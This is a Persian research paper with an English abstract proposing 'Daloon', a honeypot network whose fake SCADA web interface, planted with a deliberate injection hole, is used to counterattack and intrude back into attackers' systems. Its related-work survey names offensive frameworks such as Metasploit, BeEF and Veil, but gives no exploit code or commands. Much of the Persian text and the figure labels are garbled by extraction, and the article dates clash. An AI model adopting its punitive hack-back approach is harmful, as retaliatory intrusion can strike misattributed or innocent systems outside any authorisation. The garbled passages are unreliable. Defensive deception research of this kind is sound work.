
Electronic & Cyber Defense 
Vol. 13, No. 4, 2026 (Serial No. 52). pp. 125- 144 

ISSN: 2322-4347,  E-ISSN: 2980-8979  

 

Cite this article: kheiry, M., Jalaei, R. Dalon: Proactive Cyber Defence with a Counter Attack Honypot Framework. Electronic 

and Cyber Defense, 2026; 13(4): 125-144 

DOI: https://doi.org/10.47176/ECDJ.2025.1633 

 

© The Author(s). retain the copyright and full publishing rights 

Publisher: Imam Hossein University 

  

Daloon: Proactive Cyber Defense with an Offensive Cyber Deception 

Framework 
 
 Morteza Kheiry1 ,  Reza Jalaei2*  
1 PhD Student, Imam Hossein (AS) University, Tehran, Iran 
2 Assistant Professor, Imam Hossein (AS) University, Tehran, Iran (Correspondence: rjalaei@ihu.ac.ir) 

 
 
A R T I C L E   I N F O A B S T R A C T 

Article history: 

 

Article Type: Research paper 

 

Receive: 08 October 2025 

Revise: 24 November  2025 

Accept: 19 December 2025 

Available online: 04 December 2025 

 

Keywords: 

Honeypot 

 Honeynet 

 Cyber Trap 

 Reverse Intrusion 

 Active Defense 

 Cyber Deception 

 ProActive cyber Defense 

 Counterattack 

 HackBack 

Today, detecting, tracking, and taking deterrent action against cyber 
attackers is one of the main challenges in the field of cybersecurity 
and cyber defense. Traditional attack detection mechanisms, due to 
their reactive approach to defense and the high rate of false-positive 
alerts, have complicated the detection process.Various methods have 
been proposed to address this challenge, and the use of cyber 
deception traps is one of the effective approaches currently being 
developed and utilized for targeted and proactive detection of 
emerging threats. Existing cyber trap solutions, due to their passive 
structure and one-directional operation, do not lead to deterrence or 
identification of the origin of the attack. In this article, an enhanced 
hybrid trap-network framework called Daloon is proposed. Daloon, 
through its “Explosive Web Trap” component, enables counterattack 
and reverse intrusion against trapped attackers and, while identifying 
and tracking the attacker, provides the capability for punitive action 
that results in cyber deterrence. Daloon is implemented by designing 
a fake web trap and simulating the HMI of a SCADA industrial 
control system and contaminating it with a fake and intentionally 
crafted code-injection vulnerability as well as several other 
vulnerabilities. Experimental results show that Daloon performs 
successfully in detecting and responding to three types of offensive 
techniques and has successfully carried out reverse intrusion and 
“counterattack.” The proposed Daloon hybrid trap, with reverse-
intrusion capability, leads to the adoption of a proactive cyber 
defense approach—i.e., defense during the attack—and, in addition to 
reducing false positives in attack analysis, transforms the one-way 
process of traditional cyber traps, which are purely defensive and 
passive, into a two-way process that is offensive and deterrent.  
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 :هایدواژه کل

 پات   یهان

 نت  یهان  

 یبریتله سا  

 نفوذ معکوس   

 دفاع فعال  

 ی بریسا  بیفر  

 ی بریدفاع فرا فعال سا  

 ضد حمله  

  ی هااز چالش   یکی  ،یبر یسا  نیمهاجم  هیو اقدام بازدارنده عل  بیتعق  ،ییامروزه شناسا

حملات به    صیتشخ  یسنت  یهااست. سازوکار   یبر یو دفاع سا  تیدر حوزه امن  یاصل

  ند یمثبت نادرست، فرا  یهشدارها   یبه مسئله دفاع و نرخ بالا  یواکنش  کردیرو  لیدل

پ  صیتشخ روش   دهیچیرا  است.  ا  یبرا  یتعدد م  یهاکرده  ارائه شده    نیحل  چالش 

تله از  استفاده  و   ص یاست که در تشخ  یمؤثر   یهااز روش  یکی  ،یبر یسا  یهااست 

پ و  تهد  شیهدفمند  موعد  بهره درحال   دات ی از  و  راهکارها   یبردارتوسعه    ی است. 

عمل نمودن، منجر به   طرفهکیساختار منفعلانه و    ل یبه دل  یبر یسا  یهاموجود تله

شناسا  یبازدارندگ نم  ییو  حمله  وقوع  اگردندیمنشأ  در  چارچوب    کیمقاله،    نی. 

ترک  افتهیتوسعه تله  پ  یب یشبکه  دالون  نام  از طرشودی م  شنهادیبه  دالون  بخش    قی. 

انفجار افتاده را  دام به   نیمهاجم  هیضد حمله و نفوذ معکوس عل  تیقابل  «،ی»تله وب 

م تعق  ییو ضمن شناسا  کندیفراهم  ا  بیو  تنب  مکانمهاجم،  به   یهیاقدام  منجر  که 

م  شودی م  یبریسا  یبازدارندگ فراهم  طراحکندیرا  با  دالون  جعل  ی.  وب  و   یتله 

صنعت HMI یساز هیشب کنترل  آلوده   یسامانه  و  آس  یساز اسکادا  به    ی ر یپذب یآن 

  ج ی شده است. نتا  یسازاده یپ  گرید  یر یپذب یآس  ن یکد و چند  قیتزر  یو عمد   یجعل

و برخورد با سه مورد    ییدر شناسا  یکه دالون عملکرد موفق  دهدیمنشان    هاش یآزما

موفق  یتهاجم  یهااز روش  با  را  نفوذ معکوس و »ضد حمله«  اقدام  و  انجام    تیدارد 

نفوذ معکوس، منجر به اتخاذ    تیدالون، باقابل  یبیتله ترک  یشنهادیداده است. طرح پ

  ند یو علاوه بر کاهش فرا  شودیمحمله    نیدفاع ح  یعنی  یبریدفاع فرا فعال سا  کردیرو

معمول را که صرفاً   یبریسا  یهاتله  طرفهکی  ندیحملات، فرا  لیمثبت غلط در تحل

فرا  یدفاع به  هستند،  منفعل  هجوم  ندیو  که  تبد  یدوطرفه  هستند،  بازدارنده   لیو 

 .کندیم
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 مقدمه. 1

سا  امروزه هم  ستند،ین  یا مرحلهتک   ،یبریحملات    لیدل  نیبه 

  ی بریسا  یتخصص  یهات یبه مهارت و قابل  ازینها،  دفاع در برابر آن

  هیشب  ،سایبری  یدر فضا  یبیو در ابعاد مختلف دارد. پدافند ترک

  یی واه  داتیکه تهد  است  فعال  یو موشک  ییسامانه دفاع هوا  کی

شناسا را  اقدامات  ییمتخاصم  سرنگون  یو  مختل کردن    ای  یمانند 

 . [1]  دهدی ها انجام مارتباطات آن 

دارد.   وجود  سایبری  دفاع  در  مختلفی  تمامی  رویکردهای  هدف 

مانند    یراهکارها  امنیت،  با  مرتبط  عملکردهای  انجام  امنیتی، 

پروفایل  و  پاسخ  تشخیص،  پیشگیری،  حمله،  بر  سازی  نظارت 

است دفاع  .  [2]  حملات  روش   1غیرفعال رویکرد  و  از  های سنتی 

کند و به آن، بازدارندگی سایبری استفاده می   باهدفسخت دفاعی  

می گفته  نیز  رویکرد،  [4,  3]  شوددفاع کلاسیک  این  مقابل  در   .

ا  2دفاع فعال سایبری    برایتلاش فعالانه  ن نوع دفاع،  یقرار دارد. 

پاسخ  حملات    ییشناسا عل و  تمرکز  [3]  استمهاجم    یهمتقابل   .

مختلف    یراهکارها ی  و خودکارساز   یعبر تجم،  یبری دفاع فعال سا

به   برای  یتیامن رخدادها پاسخ  به    است.   یبریسا  یموقع 

سا  یکردهایرو فعال  ضعفپوشش   یبریدفاع    یتیامن  یهادهنده 

 .[5]  است  یرفعالغ  یهاسامانه 

سا فعال  دفاع  در  عمده  مفهوم  شامل،  سه  که  دارد  وجود  یبری 

جمع   تشخیص قطعادله    یآور و  و  مهاجم  فریب    و   مهاجم، 

است  حمله   دادنیان پا مهاجم  به  [۶] ی  سایبری  فعال  دفاع   .

دستهشیوه  مختلفی  میهای  که  بندی  آنمهمگردد  ها ترین 

جعل  و    5ها پات ، هانی 4نفوذ معکوس ،  3خطر بی   هایاستفاده از کرم 

 . [3]است    6ی نشان

عاماال   ،یبریدفاااع سااا یکردهایرو یبندمیتقس یارهایاز مع  یکی

خاص    به طوراز محققین    یاست. برخ  دیتهد هیعلو برخورد کنش 

  سرقت شده متمرکز  یهاداده  یابیباز  باهدف  یروش تهاجم  کیبر  

  کااه شااامل  یمخاارب و هجااوم  یاسااتفاده از روشاا   یعنیاند.  شده

مهاااجم    سامانهاطلاعات سرقت شده از    یرمزنگار ایانتقال، حذف  

   شود.یم  یگذارنام  7یبریسا  فرا فعالدفاع    ن نوع از دفاع،یاست. ا

جلو سایبری در طیف دفاع  و دفاع روبه فرا فعالمفهوم دفاع فعال، 

پدافنااد عاماال    عنوانبااه)عامل( سایبری است و گاهی هاام   8فعال

شود. پدافند عامل سایبری مفهومی است کااه  می  بردهنامسایبری  

حااوادس سااایبری را در هنگااام وقااوع شناسااایی و متوقااف   تنهانه

  به  نفوذفنی مانند استقرار طعمه یا    یراهکارهاکند، بلکه انواع  می

هااای  هااا و فعالیتقابلیت  سااازییخنث  باهاادفشاابکه مهاااجم را  

 . [8,  7]  دهدانجام می  گرفتهصورت
 

1 Passive cyber defense 
2 Active Cyber Defense (ACD) 
3 WhiteWorms 
4 Hack-Back 
5 Honeypot 
6 Address hopping 
7 Pro-active Cyber Defense 
8 Active-Defense 

مهاااجم در    هیاا عل  (ضد حملااه)  مثلبهمقابله  یاقدام  فرا فعالدفاع  

  یوارهاااید  جااادیجای احمله است و به  یو اجرا  یریگشکل  نیح

بااه    دات،یدر برابر تهد  یخود  یهافراوان در دفاع از شبکه  یتیامن

  دیاا تهد  هیاا عل  یباا یتخر  ایاا  یمهاجم و اقدام کاهش ییدنبال شناسا

  سااازیخنثی جهتیک اقدام دفاعی مستقیم  ن نوع دفاع،یا  .است

ها و  ماادافع از ساالاح  و  اسااتتهدیاادات سااایبری    کاااهش اثااریااا  

  یگذاراشااترا   ،9دیاا هااوش تهد  ،یبریسااا  اتیاا عمل  یهاااتیقابل

اسااتفاده    مهاجمجهت پاسخ به  هجومی   هایتلهو  دیاطلاعات تهد

و  محافظت ،  10یبریسادفاع غیرفعال  در  هدف  که  درحالی  کند،یم

  اساات های سایبری در برابر انواع تهدیدات احتمالیدارایی  بازیابی

[9]. 

دفاع   رویکرد  از  استفاده  با  مقاله  این  فعالدر  یک    فرا  سایبری، 

شبکه ترکیبی    چارچوب  می هجومی  تله  این  پیشنهاد  شود. 

نام که    چارچوب می دالون  هدفمند  گذاری  مهاجمین  علیه  شود 

شناسایی   به  اقدام  و    منشأسایبری  حملات  قطع  تهدید،  وقوع 

یا   فعال  معکوسپاسخ  این شکل  کند.  می  نفوذ  به  مقاله  ساختار 

های پایه ارائه  مفاهیم و تعریف  2نگارش شده است که در بخش  

بخش  می معمار  یهاپژوهش   3شود.  با  و   شبکه  یمرتبط  تله 

چالش   یراهکارها  و  معکوس  ب  یهانفوذ  شود.  یم  یانمربوطه 

و    4بخش   عناصر  با  را  دالون  مفهومی  معماری  و  چارچوب 

می تشریح  آن  بخش  زیراجزای  در  معماری    5کند.  ارائه  با 

، مربوطه  تله وبشده از  سازی یهشب  ینمونه مورد  پیشنهادی، یک

صنعت  سامانه  HMI  به محه  کرا  اسکادا    ی کنترل   یواقع  یط در 

بپیاده  را  است  شده  می سازی  بخش  و    ندکی ان  نتا۶در  ج  ی، 

دالونآزمایش  ترکیبی  شبکه  بازهه  ک  ها  با  دوماهه    یزمان  در 

است    قرار گرفته های واقعی مهاجمین مورد ارزیابی و تحلیل  داده 

بخش.  شودی م  ارائه ارزیابی    7  در  و  مقایسه  به  دالون  نیز  شبکه 

 شود. ی پرداخته م

 . مفاهیم پایه2

فعال   جهت دفاع  ریاخ  یهاسال  در  محققان  که  ییهاروش  از  یکی

  و  11بیاا فر هااایاستفاده از فناوری ،اندداده انجامی بریسا حملات

است که    13شدهفریب توزیع ها در چارچوباین فناوری است 12تله

  یهاااییدارا  از  نیمهاجمو صرف زمان    توجه، انحرافباهدف جلب

 .[10]است  منابع غیرواقعی    ها وبه سمت دارایی  یواقع

  و هدفمنااد جهااتشااده  ریزیبرنامه  یاقاادام)فریااب(.    1  یاافتعر

از    یاریبس. امروزه  مهاجم است  انداختن  اشتباهبه  ای  و  کردنگمراه

عاماال   کیاا عنوان بااه  بیاا رهای مبتنی باار فشیوهاز    جیحملات را

 .[11]د  کننیاستفاده م  تیموفق  یاساس

 

9 Threat intelligence 
10 Passive-Defense 
11 Deception 
12 Trap 
13 Distributed Deception Platform (DDP) 



 128                                               ییرضا جلا و یریخ مرتضی ی؛هجوم یبریبا چارچوب تله سا یبریدالون: دفاع فرا فعال سا

از روش (.  1)فریب هجومی   2  یفتعر   های فریب سایبری استفاده 

فیشینگ حمله  حملات  [ 13]  [12]  مشابه  برای    یبر یسا  در 

 .[14]  پیروزی بر مدافعان سایبری است

روش   (.2ی دفاع  یب)فر  3  یفتعر از  سایبری  استفاده  فریب  های 

سمت  مهاجم به    ،روش   یندر ا  است.ین  مهاجم  یانداز دام به جهت  

هتله  که  مدافع  شده  یطراح  بازیین زم است،  و    یتداسایبری 

 . [15]  گیردصورت میو برخورد    تشخیصاقدام به    سپس

سا)  4  یفتعر که    یتیامن  یابزار   (.3پات   ی هان  -  ییبرتله  است 

بررس کشف،  در  آن  حمله،  یارزش  و    قرارگرفتن  مورد 

  ی هانکه به آن    اساس کار تله سایبری . [1۶]ت  اس  خطرافتادنبه

می  پات گفته  است  شود،هم  نفوذگر  فریب  بر  در  که    مبتنی  با 

چند    قراردادنمعرض خطر   یا  به آسیب   سامانهیک  یا  ظاهر  پذیر 

فعالیتیاست  شدهسازی شبیه   معمولاًه  ک  پذیرآسیب  هرگونه   ،  ،

مشکو به عملی  نظر  عنوان  و  گرفته  در  برای  تلاش شده  ها 

 . [ 1۶]  شودمیتحلیل    و  نظارت  ،استفاده غیرمجاز

های سایبری  تله  ای ازمجموعه (.  4نت   یهان  -ه  تل  )شبکه  5یف  تعر

فقط از   که  ینحوبه خاص است،    5ی بندهمهم تحت یک  بهمتصل

مهاجم را از اهداف واقعی منحرف    منابع تولیدی خود محافظت و

 کند.می

 ینه زم  در است که    (. روشی6ضد حمله   ،نفوذ معکوس)  ۶  تعریف

هدف، حمله به مهاجم یا    شود.ی استفاده م  فرا فعال  یبریدفاع سا

مجرمان سایبری است که به شبکه و   علیه   و اقدام تنبیهی  انتقام

توان به شناخت  با این روش می  کنند.مورد دفاع، حمله می  سامانه

و   ابزارها  حمله،  اهداف  از  در یافتدست مهاجم    یهافندقیقی   .

 یمتو    یاهسکلاه   مهاجمیناین شیوه از ابزارهای معمول مرتبط با  

 . [18]  [17]  شوداستفاده می   قرمز

شبکه تله،    هدف اصلیشود.  هم گفته می  نت  یهانبه شبکه تله،  

تجزیهجمع  و  داده آوری  بهوتحلیل  ها،  روش یادگیری  منظور  ها 

که یک   معماری است،  تله  است. شبکهمهاجمین    ها و اهدافابزار 

کنترل  ایجاد    شدهشبکه  فعالیت   ورا  اتفاق تمام  آن  در  که  هایی 

 . [19]  کندمیکنترل و نظارت  ثبت،  افتد را  می

تله سایبری 

نوع تعام  نوع استقراراهدا منب  شبیه سازی

بدون تعام 

تعام  کم

تعام  متوس 

تعام  با 

مجازی

فی یکی

پژوهشی

تولیدی

کلاینتی

سروری

 [21] های سایبری ی تلهبنددسته. (1)شک  
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4 Honynet 
5 Topology 
6 HackBack 

اساس چهار مع  یبریسا  یهاتله سازی،  منبع شبیه  ،اساسی   یاربر 

توسعه  نحوه اهداف  تعاملای،  نوع  و  استقرار    بندی دسته  ی 

آن [22-20]شوند  یم ارتباط  و  معیارها  نشان    (1)   شکل  در  ها. 

 . اندشده   داده

مشکاه دسته   [23]  محمد  از  یک    ی دفاع  ی راهکارهابندی 

می یانه را  یهاسامانه  ارائه  که  ای  یعنیدفاع  روشچهار  کند   ی 

سازی، فریب و و دگرگون  [24]  سازیمحافظت و جلوگیری، مبهم 

و  تله انتساب  سایبری،  حملههای  شامل    ضد  را  مهاجمین  علیه 

روش می این  شبکه،  سطح    پنج در  ها  شود.  ،  سامانه سازمانی، 

ی این مقاله، در  و بازه  دامنهگردند.  ها اعمال میداده و دادهپایگاه 

روش  بهبود  امنیت  راستای  افزایش  و  تشخیصی    ی هاسامانه های 

انتساب و  استفاده از فریب و تلهدفاعی،     ضد حمله های سایبری، 

 است. علیه مهاجمین در سطح سازمانی و شبکه  

 شدهانجام  یهابر پژوهش  یمرور. 3

تله   شبکه  های مرتبط با معماریها و چالش در این بخش پژوهش 

 . شودنفوذ معکوس مرور می  یراهکارها و  

 شبکه تله. 3-1

 تحلیلضبط داده و    و  سه بخش کنترل داده، ثبت از  تله    شبکه

این معماری را    [25] و همکاران  7است. کنودسن  شدهتشکیل  داده

 اند. سازی کرده پیاده   (2)  شکل  مطابق

                 
 ر ی  ی ج     ار        ر     ی  

  ا ی  م اج ی 

              
 ر ی  ی ج     ا ی        ای ج   

  ری      ر ی        ر ر  ار م اج ی  

             
 ر ی  ی ج      ر         ری   ا ی  

م اج ی   ر      ت  

 
 [25]  ی تلهشبکهچارچوب مرجع   .(2)شک  

شده و فهم  آوری های جمع داده  تحلیل  برایفرایندی   8دادهتحلیل  

ها در های تحلیل دادهیکی از راه.  [2۶]  استبهتر رفتار مهاجمین  

یی یک دادهایرو  یکه تمام  است  SIEM9استفاده از  های تله،  شبکه 

میرا    شبکه داده   .[27]  کندنظارت  که  است    فرایندی  10کنترل 

را  ی تله  فعالیت مهاجمین در شبکه نگهداری و نظارت بر  ،  کنترل

بخش    شبکه.  [25]  ددهمی انجام   در  دادهتله  یک   کنترل  به 

دسته  سامانه و  تحلیل  رصد،  که  دارد  نیاز  نفوذ  بندی  تشخیص 

 دهد.اطلاعات موجود را انجام می   بر اساس  گرفتهصورت حملات  

سوریکاتا  که  نمونه  11حسگر  است  واقعای  زمان  در    ، 12ی نفوذ 

دهد. این  را انجام می   14شبکه   یتی، نظارت امن13از نفوذ   یر یجلوگ
 

7 Knudsen 
8 Data Analysis 
9 Security Information and Event Management(SIEM) 
10 Data Control 

11 Suricata 
12 Intrusion Detection Systems (IDS) 
13 Intrusion Prevention Systems (IPS)  
14 Network Security Monitor (NSM) 
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قوانحسگر،   از  استفاده  با  را  شبکه  زبان  نی ترافیک  بر   و    مبتنی 

دارا ی م  یبازرس  یامضا و  اسکر  یقو  یبانیپشت  یکند   1لوا   پتیاز 

و    IPtable.  [29,  28]  است  دهیچیپ  داتیتهد  ییشناسا  یبرا 

Inotify  این کار را در سیستم انجام می نیز  لینوکس   دهندعامل 

[25  ,30]  .Inotify  کنترل  نظارت    حسگرعنوان  به بر  و 

فایل   گرفتهصورت های  دادیرو که   سامانه  در  است    لینوکس 

تمامی تغییرات جدید ایجادشده در    صیتشخ به    2صورت برخط به

مشخص فایل مسیرهای  یا  سیستمها  در  میشده    پردازد عامل 

  سازی فرایندی جهت دریافت و ذخیره   3ضبط داده  و  ثبت.  [31]

  ت اس  جهت تحلیل  کلیه فعالیت مهاجمین در یک مکان مرکزی

[25] . 

طور شبکه  شبکه  یمفهوم  به  تله  یا  یک  شامل  یا تله،    چند 

برا  یبریسا که  طراح  یا  خطرافتادنبه  یاست  اند.  شده ی نفوذ 

شبکه با  تعامل  فعال   هرگونه  به    یرمجاز غ  یامخرب    هاییتتله، 

  یاد احتمال زبهتله    یبه شبکه   یهر اتصال ورود  یعنیاشاره دارد.  

از    یرمجازغ  یهر اتصال خارج  و  حمله است  یااسکن    ینشانه   یک

 فتاده است. به خطر ا  سامانهاست که    ی معن  ینتله به ا  یشبکه 

شبکه معماری       از  مختلفی  مطرح های  تله  که  های  است  شده 

جزء    Gen1  یمعمار  .است   Gen1,2,3  یمعمارها  ترین آنمهم 

معماری  شبکه اولین  تله  های  معماری  ی  این    دارای است. 

معایبمحدودیت  و  و جمع ها  .  است   آوری دادهی در بخش کنترل 

معایا برطرف   Gen3و    Gen2  هایمعماری در    بین  حدودی  تا 

بسیاری  ، 4ارائه شده توسط هاریس Gen3 راهکار. [32] شده است

محدودیت  شبکه از  معماری  استفادههای  با  را  تله   یهاناز    ی 

ابرطرف  5وال  اما  ب  ینکرد؛  به دلیل عدم  نیز  روزرسانی  همعماری 

ابزارهای  سیستم و  بردهعامل  کار  مثل    به  با که    6سیبک شده 

مدرنعامل سیستم نیست  های  استمنسوخ   سازگار  .  [33]  شده 

و استقرار آن در محیط    Gen3با طراحی شبکه تله    7فان و فرناندز 

و ترکیب    8سازی تله سایبری تعامل پایین هانید ، به پیاده مجازی 

 . [34]  ها پرداخته استآن با سایر تله

و محدودیت   بهباتوجه  استفاده  معماری   بیان مشکلات  قبلی،  های 

   Pot-Tو    HoneyDrive  همانندهای تله  نوین شبکه   یراهکارها از  

جایگزین    ،MHN9و   پیاده  یراهکارهاامروزه  در  سازی  قبلی 

شبکه  شدهمعماری  تله   HoneyDrive  راهکار.  [3۶,  35]  اندهای 

توزیع لینوکس است و شامل  مبتنی بر   عنوان اولین تله سایبریبه

پیکربندی نرم   هایبسته پیش  از  تلهافزاری  از  متنوع  شده  های 

یکپارچه  عامل  در قالب یک شبکه و سیستم  تعامل پایین  سایبری

 

1 Lua 
2 RealTime 
3 Data Capture 
4 Abbasi, F.H. and R. Harris 
5 HoneyWall 
6 Sebek 
7 Fan, W., D. Fernández, and Z. Du 
8 Honeyd 
9 Modern Honey Network (MHN) 

شدگی  ساختار توزیع   عدم پشتیبانی از  راهکاراز معایب این    است.

 . [37]  است

سرور     MHNمدرن  تله    شبکه  راهکار       یک  از  استفاده  با 

تله مدیریت  ابزارهای  و  به  متمرکز  که  توزیع سایبری  شده  صورت 

به شده نصب  قابلیت  خواهد  اند،  را  بزرگ  شبکه  یک  در  کارگیری 

شکل  MHN  اییهلاسه معماری  داشت.   در  شده    (3)  که  آورده 

به  است، و  نصب  تله قابلیت  رایج  حسگرهای  انواع  کارگیری 

پایین تعامل  مانند    سایبری  متوسط  دیونا حسگو  و    [38] 10ر 

شبکه   [39]  11کورای   حسگر یک  قالب  در  و را  منسجم  تله  ی 

 . [3۶]دارد  یکپارچه  
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 MHN [38]معماری چارچوب . (3)شک  

تله  شبکه   راهکار       از    T-Potی  دیگر  توسعه    یراهکارهایکی 

  13یک حامل   در قالب  12از فناوری داکر   که  های سایبری استتله

انواع تله   T-Pot  ند.کاستفاده می  های سایبریسبک جهت تولید 

بر حامل  تلهعلاوه  از سایر حامل های تخصصی    های های سایبری 

می استفاده  نظارتی  و  سایبری    تله  راهکار.  [35]  کندکنترلی 

بالای   تبدی  افزار نرم   HiHATتعامل  وب  برنامه  لیباقابلیت  های 

با    این چارچوب  .[40]  تتعامل بالا استله    کیبه    php  مبتنی بر

کد   صفحات  phpافزودن  تمام  نظارت  برنامه تله،    به  را  وب  های 

تزریق .  کندمی مهاجمین جهت تلاش   شده، تمامی اسکریپت    های 

صفحات   به  نتایج  ثبت  را  اتصال    خود   دادهیگاه پادر    را  اتصالو 

می  مفهومی    .کندذخیره  شکل  HiHATمعماری   (4)  در 

 است.   شدهداده نشان 
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11 Cowrie  
12 Docker 
13 Container 
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ubuntu 14.04

پایگاه داده تله ی وب

Mysqlپایگاه داده 

high-intractive HoneyPot

Module Java(JRE) Analys

Module Analysis Tools

Module Database

برنامه وب آسی  پذیر
Web PHP / CMS

نا ر تله سایبری

تله  وب انفجاری
ت ت ن ارت دائم سرور فرماندهی و کنترل

سرور فرماندهی و کنترل
Kali 2.2

استفاده از 
فری  و 
م ندسی 
ا تماعی

تبدی   ف ات وب به تله تعام  
با 

HIHATپایگاه داده 

Analisis Behavior Statistic

Mapping Download

 
 HiHAT یتله تعامل بالا مفهومی  معماری  .(4شک  )

 نفوذ معکوس  یراهکارها.  3-2

در شبکه   نفوذ معکوسفریب و بر مبتنی  یراهکارها این بخش در 

  واکنش   نیبه مهاجمبه دو روش  ها  پات یهانشود.  تله، بررسی می

م تغ  دهند.ینشان  اول،  دوم،    کیتراف  ریمس  رییروش  روش  و 

روش  است.  ب یفر  یراهکارها مجدد    یکربندیپ   رییتغ  ،اول  در 

ارسال تراف  یبرا  کیتراف  ریمس مهاجم به مقصد    کیکنترل نحوه 

  ی هااز تله   ربمخ  کیتراف  ،یبیترک  یهاپات ی شود. هانی استفاده م

  ی بررس  یبرا  ،زولهیا  یتعامل بالا  یهابه سمت تلهرا    نییتعامل پا

دو  کنندمی   تیهدا  شتریب عمدتاً   ی عنی  ریمس  رییتغ  روش. 

جر  یمبتن  یابیریمس اتصال    انیبر  مجدد  استفاده    TCPو پخش 

 . شودیم

همکاران    1کرانر  او  حمله    یبرا   یانفجار   یهاتله  یجادا  یدهبه 

  یهاتله  یجادبا ا  هاآن.  [41]   تپرداخته اس  2استفاده مجدد از کد 

نرم   یعمد  پذیریب آس آن در  بر  نظارت  و  کنترل  و  آن  افزار  ها، 

 کنندمی  یدهآدرس   یفضا  ییرکه اقدام به تغ  ینیدسته از مهاجم

شناسا مر  ییرا  در  بعد ا و  ابزارها   یحل  از  استفاده    ، نفوذ   یبا 

امن  .دهندمی ضد حمله  پیشنهاد   روشی    3ینت پوچک   یتیشرکت 

است که   اجازه ارائه کرده  مهاجم    ارتباط   عادی  ری دهد مسیم  به 

و    نماید  معکوس، را  RDPکلاینت به سرور در استفاده از پروتکل  

کند. سپس، جهت ورود به شبکه  آلوده    ی نفوذگر راتیامن  سامانه

استفاده از    یدها.  [42]  ندکمحلی و افزایش سطح دسترسی اقدام  

  اجلاس در   4سو توسط سنیت   ضد حملهباقابلیت    یبریسا  یهاتله

 . [43]  استشده    ارائهروسیه    5دفکان 

برای  ابزار   6بیف چارچوب         مخربی  کدهای  و    اجرای 

مرورگری  است. بیف  مرورگر وب    هایپذیری آسیب   ی ازبرداربهره 

آسیب را   صفحه  از  قلاب که  کند  بازدید  اجرای    7پذیر  آماده  و 

 

1 Crane, S 
2 Return-oriented programming (ROP) 
3 CheckPoint 
4 Sintsov 
5 Defcon 2013 
6 Browser Exploitation Framework (Beef) 
7 Hook 

یکی دیگر از   8چارچوب متااسپلویت .  [45,  44]  دکندستورات می 

در    هاروش  اکسپلویت  کد  اجرای  و  آزمایش  توسعه،  برای 

ای از  متااسپلویت مجموعه .  [47,  4۶]  تپذیر اسآسیب   یهاسامانه 

پیلودهای اکسپلویت  و  از  مختلف    9ها  اجرا،  صورت  در  که  دارد 

  . [ 49]  [48]  [4۶]  کنددریافت می  10هدف دسترسی شل   سامانه
برای    11رات فات   چارچوب است  بهره نیز  مخرب  کد  که  برداری 

ایجاد   و    دربباعث  نفوذ  اجرای  پشتی  از  بعد  .  شودمی حملات 

می  ایجاد  ابزار  این  توسط  که  قابلیت  وشبدافزارهایی    دورزدن د 

تشخیص   را  ویروس ضدسازوکارهای  مختلف  .  [ 50]  دارندهای 

پویای    برای  12تر شل چارچوب   اجرایی فایلتزریق  کد    13های 

ویندوزمخرب   از روش   شود.می  در  مورداستفاده جهت  یکی  های 

نرم  از  ضدافزار  فریب  استفاده  چارچوبویروس  -50]  تاس   این 

تولید کلید  14وییل   چارچوب  .[52 و فنون  با  مبهم های تصادفی 

به    ،تشخیص  هایروش جهت گریز از    SSLاز روش  استفاده  و    ساز

 . [50]  پردازدمی  15آوری اطلاعات و عملیات بعد از نفوذ جمع 

سال  اخیر  در  زم  یمتعدد  یهاپژوهش های  از  ینهدر    استفاده 

هانی تله و  سایبری  دفاع  پاتیهای  رویکرد  با  فعالها    ی برا  فرا 

مانند  های  فناوری   یداتتهد  ییشناسا مصنوعنوین  و  هوش  ی 

 . [53]  انجام شده است  یااشاینترنت  

مرجع   در  کشف    [54]محققین  دنبال  هوش  روش به  هک  های 

 LLM" توسعه سیستمی به نامو    پات  یهانبا استفاده از    مصنوعی

Agent Honeypot"  که مصنوعی    هستند  هوش  عوامل  رفتار 

کند.  شده نظارت و تحلیل میسازی مخرب را در یک محیط شبیه

های عوامل هوش مصنوعی برای تولید  تواند تلاش می   سامانهاین  

گمراه  داده اطلاعات  سرقت  و  کننده،  حساس    واردکردن های 

 .های مخفی را شناسایی کندپذیری آسیب 

  ی رفتارها  یل و تحل  آوریجمع صرفاً به    شد  یانبه  کی  یرویکردها

مهاجم پرخطر  و  و  پردا می   ینمشکو   پاسخ  فرایند  و  زند 

وقوع حمله   منشأ  ییو شناسا  یالعمل که منجر به بازدارندگعکس 

رو نمی  یکردبا  انجام  را  شود  فعال  پیشنهادی    دهند.دفاع  روش 

بودنبه ضمن  دالون،   کنترل    یلتحل  ی،آور جمع   یابزارها  روز  و 

و تعامل    یینتعامل پا  یهاو استفاده از تله  یبانیپشت  یتداده، قابل

به را  ترکبالا  شبکه  .  دارد  یبیصورت  ااین  نفوذ    یتقابل  یجادبا 

شناسا  تواندمی   معکوس حمله  منشأ  ییضمن  اقدام    یک  ،وقوع 

یزی  ربرنامه یبری  هدفمند سا  ینمهاجم  یهعل  فرا فعالو    بازدارنده

وضعند  ک و    یتو  وضع  هتل  یهاشبکه   طرفهیکمنفعل  به   یت را 

 .دهد  ییرو دوطرفه تغ  فعال

  نفوذ معکوس های تله و  های قبلی در زمینه شبکه مقایسه پژوهش 

 است.   شدهدادهنشان (  1جدول  صورت خلاصه در  به
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9 Payload  
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 های تله و نفوذ معکوس های مرتبط در زمینه شبکهمقایسه پژوهش .(1) دول 

 معای  روش استفاده  مر   راهکار بندی دسته

 یراهکارها

 شبکه تله

 بکه تلاااهی شااا معماااار
1,2,3GEN 

  [32] Fan, W., D. 

Fernández, and Z. 
Du. 

[33] Abbasi, F.H. 

and R. Harris. 

 اییهلاسااهمبتنی بر معماااری  

 شبکه تله

بااه کااار   یمیقااد  یهاسامانهاستفاده از ابزارها و  

نفااوذ  یااتو قابل شااده شااده در آن منسوخ باارده 

 .را نیز ندارد  معکوس

Honeyd  [34]مجازی  راهکار  Aliyev, V. 

و  Gen3تلااه  طراحاای شاابکه

اساااااتقرار آن در محااااایط 

Vmware  سااازی تلااه و پیاده

 سایبری تعامل پایین

اسااتفاده از عاادم  و    شده   به کار برده   یهانوع تله

 نیاا اساات. ا  راهکار  نیا  بیاز معا  یکیزیساختار ف

عماال  طرفااهکیصااورت منفعاال و به راهکارهااا

 ندارد.معکوس    نفوذ  تیو قابل کندمی

 ،TPOTهااااای معماری

HoneyDrive  وMHN 

 [35 ,36]   Wahono, 

Alif Subardono . 

2017 

[35]  Zarghoon. 2015 

[36 ,55]  Zeltser. 

2015 

 اییهلاسااهمبتنی بر معماااری  

 یکدر قالب  شبکه تله است و  

 یسارائااه ساارو عاملیسااتمس

 کند.یم

بااالا و  یافزارمنااابع سااخت  ازاسااتفاده    یاالبه دل

مناساااب تلاااه  ی،انااادازنصاااب، راه  یچیااادگیپ

صورت تعاماال به  راهکارها  ینا  یست.ن  یشنهادیپ

